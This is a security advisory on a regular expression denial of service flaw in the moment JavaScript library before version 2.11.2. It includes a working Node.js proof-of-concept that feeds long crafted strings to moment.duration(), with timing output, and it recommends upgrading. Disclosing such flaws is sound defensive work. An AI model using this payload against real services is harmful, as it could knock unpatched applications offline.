Summary
Regular Expression Denial of Service in moment
Details

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

``` var moment = require('moment');

var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }

return result;

}

for (i=20000;i<=10000000;i=i+10000) { console.log("COUNT: " + i); var str = '-' + genstr(i, '1') console.log("LENGTH: " + str.length); var start = process.hrtime(); moment.duration(str)

var end = process.hrtime(start);
console.log(end);

} ```

Results

$ node moment.js COUNT: 20000 LENGTH: 20002 [ 0, 618931029 ] COUNT: 30001 LENGTH: 30003 [ 1, 401413894 ] COUNT: 40002 LENGTH: 40004 [ 2, 437075303 ] COUNT: 50003 LENGTH: 50005 [ 3, 824664804 ] COUNT: 60004 LENGTH: 60006 [ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.
